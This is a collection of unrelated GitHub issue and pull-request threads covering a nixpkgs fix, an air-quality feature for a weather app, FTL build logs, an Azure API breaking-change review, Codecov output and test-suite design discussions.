[ ] For non-Linux: Is sandbox = true set in nix.conf? (See Nix manual)
[ ] Tested, as applicable:

NixOS test(s) (look inside nixos/tests)
and/or package tests
or, for functions and "core" functionality, tests in lib/tests or pkgs/test
made sure NixOS tests are linked to the relevant packages

[x] Tested compilation of all packages that depend on this change using nix-shell -p nixpkgs-review --run "nixpkgs-review rev HEAD". Note: all changes have to be committed, also see nixpkgs-review usage
[ ] Tested basic functionality of all binary files (usually in ./result/bin/)
23.05 Release Notes (or backporting 22.11 Release notes)

[ ] (Package updates) Added a release notes entry if the change is major or breaking
[ ] (Module updates) Added a release notes entry if the change is significant
[ ] (Module addition) Added a release notes entry if adding a new NixOS module
[ ] (Release notes changes) Ran nixos/doc/manual/md-to-db.sh to update generated release notes

[x] Fits CONTRIBUTING.md.

This may help regarding #206333.
ping @hugosenari

Thank you
It makes my test pass. :+1:
# `inputs.nixpkgsClin.url = "github:vbgl/nixpkgs/clasp-is-clingo"`
nix build --refresh 'github:riinr/flake-crown?dir=pkgsRev/example'#nixpkgsClin

I updated the lock file to be sure no other change fixed the issue before this PR, and as expected, other branches still not pass in the test. :+1:
nix build --refresh 'github:riinr/flake-crown?dir=pkgsRev/example'#nixpkgsMast
nix build --refresh 'github:riinr/flake-crown?dir=pkgsRev/example'#nixpkgs2211


Air Quality

Air quality is starting to feel like a very important metric for anyone in the US right now...

(it's not that bad where I am, and the worst is over, but it's still there)
It would be very nice to have it in the app to check, similar to the UV index metric.
Thanks :)

Yeah, this would be invaluable

yes I plan on adding it. open météo has an api for this.
the question is also how to integrate this ux wise.
any idea is welcome.

The US EPA AirNow app handles it like this.

@Saijin-Naib nice. But in this app we need a clean way to add it within the current UX. The thing is how do you add more and more data (pressure, air quality...) without cluttering and within the available space

Yes it would be nice, as open-meteo API can provide this information!
Maybe as a new page, to avoid adding too much data on the main page?

@azertylr @Saijin-Naib @RageGamerBoi is that design ok with you?

Looks good but feels out of place.
Like it's too big or something (especially in the weekly view).
Maybe separate the number and treat "aqi" like the km/h under the wind icon.
The icon could be something like this https://duckduckgo.com/?q=fog+icon&t=fpas&iax=images&ia=images&iai=https%3A%2F%2Fclipartmag.com%2Fimages%2Ffog-png-14.png
On April 12, 2024 9:44:29 AM CDT, farfromrefuge @.***> wrote:

@azertylr @Saijin-Naib @RageGamerBoi is that design ok with you?

--
Reply to this email directly or view it on GitHub:
https://github.com/Akylas/oss-weather/issues/44#issuecomment-2051898426
You are receiving this because you were mentioned.
Message ID: @.***>

Looks good but feels out of place.
Like it's too big or something (especially in the weekly view).
I think it should at least be scaled down.
You could also separate the number and treat "aqi" like the km/h under the wind icon, then just use a normal icon like all of the other things.
Also is it possible for there be some kind of info panel when tapped, providing more details similar to Breezy Weather?

@RageGamerBoi thanks foe the insight! Will test further. Might also test a new design based on an icon like other weather data

@RageGamerBoi here is another design:

I like that.
The leaf could be rotated a little bit counter-clockwise, but otherwise it's good 👍
On April 12, 2024 2:34:47 PM CDT, farfromrefuge @.***> wrote:

@RageGamerBoi here is another design:

--
Reply to this email directly or view it on GitHub:
https://github.com/Akylas/oss-weather/issues/44#issuecomment-2052413189
You are receiving this because you were mentioned.
Message ID: @.***>

it looks very nice! Great job :) I would write AQI in upper case.
Is it possible to have the details of the air quality index if we click on the leaf?

@azertylr tried aqi in uppercase but it looked weird compared to "other" infos. Will try again.
As details yes i ll add it in the future. But not in the first iteration.

@azertylr @Saijin-Naib @RageGamerBoi new version out with basic AQI support. Will add more in the future

@azertylr @Saijin-Naib @RageGamerBoi i have added pollutants and pollens on daily view. I will close this now.
Still one thing i would want is alternative sources


Refactor naming of TwoLibsOneProjectInteraction_DiscreteLibs_SingleProject

Removes underscores from repository name and adapts project name to conform with snake style naming.

 Here is an overview of what got changed by this pull request:

Issues
======
- Added 1

Complexity increasing per file
==============================
- varats/varats/projects/cpp_projects/TwoLibsOneProjectInteractionDiscreteLibsSingleProject.py  4

See the complete overview on Codacy

 Here is an overview of what got changed by this pull request:

Complexity increasing per file
==============================
- varats/varats/projects/cpp_projects/two_libs_one_project_interaction_discrete_libs_single_project.py  4

See the complete overview on Codacy

 Here is an overview of what got changed by this pull request:

Issues
======
- Added 1

Complexity increasing per file
==============================
- varats/varats/projects/cpp_projects/two_libs_one_project_interaction_discrete_libs_single_project.py  4

See the complete overview on Codacy

 Here is an overview of what got changed by this pull request:

Complexity increasing per file
==============================
- varats/varats/projects/cpp_projects/two_libs_one_project_interaction_discrete_libs_single_project.py  4

See the complete overview on Codacy

 Here is an overview of what got changed by this pull request:

Complexity increasing per file
==============================
- varats/varats/projects/cpp_projects/two_libs_one_project_interaction_discrete_libs_single_project.py  4

See the complete overview on Codacy


ftl build warns repeatedly about connection refused

No FTL was running when I started.
ftl build --log-level=DEBUG in the ftl repo

Logs
debug: Unary RPC failed: unavailable: dial tcp [::1]:8892: connect: connection refused: /xyz.block.ftl.v1.AdminService/Ping
debug: Extracting dependencies for "echo"
debug: Extracting dependencies for "time"
debug: Unary RPC failed: unavailable: dial tcp [::1]:8892: connect: connection refused: /xyz.block.ftl.v1.ControllerService/GetSchema
debug: Failed to get schema from controller: unavailable: dial tcp [::1]:8892: connect: connection refused
debug: Extracting dependencies for "echo"
warn: Stream handler failed, retrying in 100ms: unavailable: dial tcp [::1]:8892: connect: connection refused
debug: Extracting dependencies for "time"
debug: Generating stubs for modules
warn: Stream handler failed, retrying in 200ms: unavailable: dial tcp [::1]:8892: connect: connection refused
debug: go: finding module for package github.com/TBD54566975/ftl/go-runtime/ftl
debug: go: found github.com/TBD54566975/ftl/go-runtime/ftl in github.com/TBD54566975/ftl v0.281.0
info:time: Building module
debug:time: Extracting schema
warn: Stream handler failed, retrying in 400ms: unavailable: dial tcp [::1]:8892: connect: connection refused
warn: Stream handler failed, retrying in 800ms: unavailable: dial tcp [::1]:8892: connect: connection refused
debug:time: Generating main module
debug:time: Tidying go.mod files
debug:time: go: found github.com/TBD54566975/ftl/backend/protos/xyz/block/ftl/v1/ftlv1connect in github.com/TBD54566975/ftl v0.0.0-00010101000000-000000000000
debug:time: go: found github.com/TBD54566975/ftl/common/plugin in github.com/TBD54566975/ftl v0.0.0-00010101000000-000000000000
debug:time: go: found github.com/TBD54566975/ftl/go-runtime/server in github.com/TBD54566975/ftl v0.0.0-00010101000000-000000000000
debug:time: Compiling
warn: Stream handler failed, retrying in 1s: unavailable: dial tcp [::1]:8892: connect: connection refused
info:time: Module built (2.22s)
debug: Generating stubs for modules
warn: Stream handler failed, retrying in 1s: unavailable: dial tcp [::1]:8892: connect: connection refused
debug: go: finding module for package github.com/TBD54566975/ftl/go-runtime/ftl
debug: go: found github.com/TBD54566975/ftl/go-runtime/ftl in github.com/TBD54566975/ftl v0.281.0
info:echo: Building module
debug:echo: Extracting schema
warn: Stream handler failed, retrying in 1s: unavailable: dial tcp [::1]:8892: connect: connection refused
debug:echo: Generating main module
debug:echo: Tidying go.mod files
warn: Stream handler failed, retrying in 1s: unavailable: dial tcp [::1]:8892: connect: connection refused
debug:echo: go: found github.com/TBD54566975/ftl/backend/protos/xyz/block/ftl/v1/ftlv1connect in github.com/TBD54566975/ftl v0.0.0-00010101000000-000000000000
debug:echo: go: found github.com/TBD54566975/ftl/common/plugin in github.com/TBD54566975/ftl v0.0.0-00010101000000-000000000000
debug:echo: go: found github.com/TBD54566975/ftl/go-runtime/server in github.com/TBD54566975/ftl v0.0.0-00010101000000-000000000000
debug:echo: Compiling
warn: Stream handler failed, retrying in 1s: unavailable: dial tcp [::1]:8892: connect: connection refused
info:echo: Module built (2.79s)

This is caused by my recent change that adds visibility to non-retryable rpc failures; the change added visibility to retryable ones as well by lifting their logging level from debug to warn.


Add compression to traces in write_segmentation

Continuation of #117 to allow compression of segmentation extractor traces

I think we should keep the option for non-iterative write.

Sure, that's fine. More control is always better and there are cases where writing contiguously can be preferred for performance.
I'd say let's do it in a follow-up where we standardize all the iterator_options and remove iterator_type across the other tools, what do you think? Can add more robust testing then as well.

I think this has the advantage to decouple the testing in the following way: we can test everything related to the writing in the right place (naming and of series and location of processing module), data shape and pynwb parameters with the non-iterative (non wrapped in H5DataIO) and then just test propagation of options to the hdmf wrappers as we have done in test_tools_spikeinterface (so we also have a consistent testing style). This would keep the testing of everything above separate from wrapping and simplify the tests a little bit as you avoid the data extraction nesting that the hdmf wrapper imply (i.e. processing_modue["SeriesName'].data.data.data).

I don't mind testing all of it - while it's not our responsibility per se to test that the H5DataIO and such actually work, it's not difficult to test that they apply and produce expected results. More tests are always better

I think we should keep the option for non-iterative write.

Sure, that's fine. More control is always better and there are cases where writing contiguously can be preferred for performance.

I'd say let's do it in a follow-up where we standardize all the iterator_options and remove iterator_type across the other tools, what do you think? Can add more robust testing then as well.

Yep, I think this makes sense.

I think this has the advantage to decouple the testing in the following way: we can test everything related to the writing in the right place (naming and of series and location of processing module), data shape and pynwb parameters with the non-iterative (non wrapped in H5DataIO) and then just test propagation of options to the hdmf wrappers as we have done in test_tools_spikeinterface (so we also have a consistent testing style). This would keep the testing of everything above separate from wrapping and simplify the tests a little bit as you avoid the data extraction nesting that the hdmf wrapper imply (i.e. processing_modue["SeriesName'].data.data.data).

I don't mind testing all of it - while it's not our responsibility per se to test that the H5DataIO and such actually work, it's not difficult to test that they apply and produce expected results. More tests are always better

I think that testing  more is fine but to me the important thing is to separate this two scenarios.


ENABLE ASAN packaging RPP

Proposed Changes:

Enable ASAN Packaging (component based)

@arvindcheru - we can use this file - https://github.com/GPUOpen-ProfessionalCompute-Libraries/rpp/blob/master/LICENSE


Update swagger with GitHub Action related changes.

MSFT employees can try out our new experience at OpenAPI Hub  - one location for using our validation tools and finding your workflow.

Contribution checklist:

[x] I commit to follow the Breaking Change Policy of “no breaking changes
[x] I have reviewed the documentation for the workflow.
[x] Validation tools were run on swagger spec(s) and errors have all been fixed in this PR. How to fix?

If any further question about AME onboarding or validation tools, please view the FAQ.
ARM API Review Checklist

[ ] Ensure to check this box if one of the following scenarios meet updates in the PR, so that label “WaitForARMFeedback” will be added automatically to involve ARM API Review. Failure to comply may result in delays for manifest application. Note this does not apply to data plane APIs, all “removals” and “adding a new property” no more require ARM API review.

Adding new API(s)
Adding a new API version
Adding a new service

[ ] If you are blocked on ARM review and want to get the PR merged with urgency, please get the ARM oncall for reviews (RP Manifest Approvers team under Azure Resource Manager service) from IcM and reach out to them.

Breaking Change Review Checklist
If there are following updates in the PR, ensure to request an approval from API Review Board as defined in the Breaking Change Policy.

[ ] Removing API(s) in stable version
[ ] Removing properties in stable version
[ ] Removing API version(s) in stable version
[x] Updating API in stable version with Breaking Change Validation errors
[ ] Updating API(s) in preview over 1 year

Please follow the link to find more details on PR review process.

/azp run automation - sdk

Can one of the admins verify this patch?

/azp run automation - sdk

It appears to be a breaking change on stable version.
As identified in the automated checks there are breaking changes, Please follow Azure Breaking changes approval request form as defined @ Breaking Change Process

/azp run automation - sdk

@weidongxu-microsoft - I am confused on what the breaking change is here? the added properties are optional, so they should not be considered as breaking changes.

@nertim Adding update-able new property IS considered to be breaking changes.
Doc from ARM: https://armwiki.azurewebsites.net/rp_onboarding/process/api_review_best_practices.html
See "Adding properties within an API version"
It is for service team to explain whether the implementation can handle it or not. Hence the question.

I see thank you @weidongxu-microsoft .. @naveedaz does your sign off count as the answer here? Or do we need to something explicit?

@nertim Can you confirm that the API itself is not new but already used for a while with portal and that whether or not the additional flags property is specified there is no regression in behavior?

will try to confirm today.

apologies for the delay.. I have confirmed there is no regression in behavior.

@weidongxu-microsoft what would be the next steps here?

@nertim
It would get API review board for approval (adrianhall).

@weidongxu-microsoft @adrianhall - Can you please help identify the next steps here?

@weidongxu-microsoft @adrianhall - can you please help identify the next steps here?

/azp run

Here is the template on breaking changes. You can contact JeffreyRichter for approval.
Hi @nertim, one or multiple breaking change(s) is detected in your PR. Please check out the breaking change(s), and provide business justification in the PR comment and @ PR assignee why you must have these change(s), and how external customer impact can be mitigated. Please ensure to follow breaking change policy to request breaking change review and approval before proceeding swagger PR review.
If you think it is false positive breaking change, please provide the reasons in the PR comment, report to Swagger Tooling Team via https://aka.ma/swaggerfeedback.

@weidongxu-microsoft - The breaking changes are being marked on new optional properties added to the API. If the users do not utilize these new properties, their existing scenarios will continue to work as is. By using the new properties, the user would be able to take advantage of some the newer features we are rolling out.
From a business perspective, the new feature allows users to setup GitHub Action workflows via the existing sourecontrol api and clean up as needed. Again, this is available IF the users decided to include the new added properties in the API call.

@weidongxu-microsoft - The breaking changes are being marked on new optional properties added to the API. If the users do not utilize these new properties, their existing scenarios will continue to work as is. By using the new properties, the user would be able to take advantage of some the newer features we are rolling out.
From a business perspective, the new feature allows users to setup GitHub Action workflows via the existing sourecontrol api and clean up as needed. Again, this is available IF the users decided to include the new added properties in the API call.

Thanks for the explanation. But the procedure requires @JeffreyRichter approval before I can do anything.

please re-add ARM feedback label if you need a review from ARM. removing to reduce noise.


Update DeveloperGuide.md

Added skeleton for DG additions.
Template can be found in the Status skeleton.

Codecov Report

Merging #90 (729b9dd) into master (779a41e) will increase coverage by 1.75%.
The diff coverage is n/a.

@@             Coverage Diff              @@
##             master      #90      +/-   ##
============================================
+ Coverage     72.59%   74.35%   +1.75%
- Complexity      467      483      +16
============================================
  Files            81       81
  Lines          1427     1427
  Branches        162      162
============================================
+ Hits           1036     1061      +25
+ Misses          345      320      -25
  Partials         46       46

Impacted Files
Coverage Δ

...du/address/logic/commands/FindActivityCommand.java
100.00% <0.00%> (+100.00%)
:arrow_up:

...ddress/logic/parser/FindActivityCommandParser.java
100.00% <0.00%> (+100.00%)
:arrow_up:

...el/activity/ActivityContainsKeywordsPredicate.java
100.00% <0.00%> (+100.00%)
:arrow_up:

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 779a41e...729b9dd. Read the comment docs.


What about creating a simple landingpage?

I just looked around and found that the project doesn't have something like a landing // docs page. What about creating one (with GitHub Pages f.e.)?

We're working on a design for that. the domain we acquired is https://surf.codes

Ok, is there anything like a repo for that?

Not yet

https://github.com/surfcodes/website
We'll setup this with NextJS. are you interested with contributing on this?

I could

Alright, after setting up the project i'll keep this tread updated. (might take few days)

@softmarshmallow when you’re to busy, I could also setup the initial project.

@HAUDRAUFHAUN Sorry for the delay. And thanks for reminding us.!

Will setup website repo with NextJS + styled component in a hour.
Wil share you a website design on figma within 4 hours.

How do you feel like joining our slack for more intense communication?

@HAUDRAUFHAUN Sorry for the delay. And thanks for reminding us.!

Will setup website repo with NextJS + styled component in a hour.
Wil share you a website design on figma within 4 hours.

How do you feel like joining our slack for more intense communication?

I'm actually on slack but I used to don’t be very active there… But I’m gonna give it a try 👍🏻

Oh, Well then feel free to use slack. I'll keep in touch via github for now. ✌

@HAUDRAUFHAUN Setup Complete! https://github.com/surfcodes/website

Before it gets any deeper, it would be nice to talk about some landingpage references.
these are some ongoing design concepts (just for looks & feelings)

Stil we'll need to have some conversatons how deatailed the page would be.

Full awesome page that might take few weeks to develop
Simple photo + button page that links to this github page.

I really like your design! I think this is good 👍🏻

Could you share something like a figma link please @softmarshmallow ?

Sure. design still working. would you like to join while design is in-complete?
(Sorry for the delay. I have quite other tasks on the table)

And since this is related to website, May i move this issue to website repo?

And since this is related to website, May i move this issue to website repo?
Good idea 👍🏻


[EXPERIMENT] Improve test suite

THIS PR IS JUST AN EXPERIMENT, DO NOT MERGE
When testing a property we need to execute the same test for acceptance mode and for component integration mode.
This PR tries to reuse the same test to be run under both modes. We achieve this by adding three new testing helpers, module, test and finish.
The idea is that we create a group of tests for each property by calling module first and then calling test several times. When we finished declaring all tests for the property we call the finish helper which will create two copies of the module under the hood, one for acceptance mode and another for component integration mode.
You can see here two examples, one for an action property (with mocks) and another for a query property.

https://github.com/san650/ember-cli-page-object/blob/acd03b6ccabd19335acd0c2398689e50f35954e2/tests/unit/actions/clickable-test.js
https://github.com/san650/ember-cli-page-object/blob/acd03b6ccabd19335acd0c2398689e50f35954e2/tests/unit/queries/text-test.js

In order to achieve this I've extracted the differences for testing in acceptance and component integration modes into two adapters.

https://github.com/san650/ember-cli-page-object/blob/acd03b6ccabd19335acd0c2398689e50f35954e2/tests/helpers/acceptance-adapter.js
https://github.com/san650/ember-cli-page-object/blob/acd03b6ccabd19335acd0c2398689e50f35954e2/tests/helpers/integration-adapter.js

The idea is to discuss the solution, see if we like it (or not) and look for improvement opportunities. Don't hesitate to criticize the code or the solution!
Just a small note, although I've implemented everything under test/unit folder, these tests are not unit test in the most formal definition. For acceptance mode we're instantiating and booting an Ember application and for component integration mode we're using the component integration infrastructure. Personally I like to have a more lax definition of unit tests (test an atomic part of the app and ensure they run really fast 😄 ).

The build for ember-1-12 is failing in travis-ci. Let's not focus on that right now, let's focus on the design first.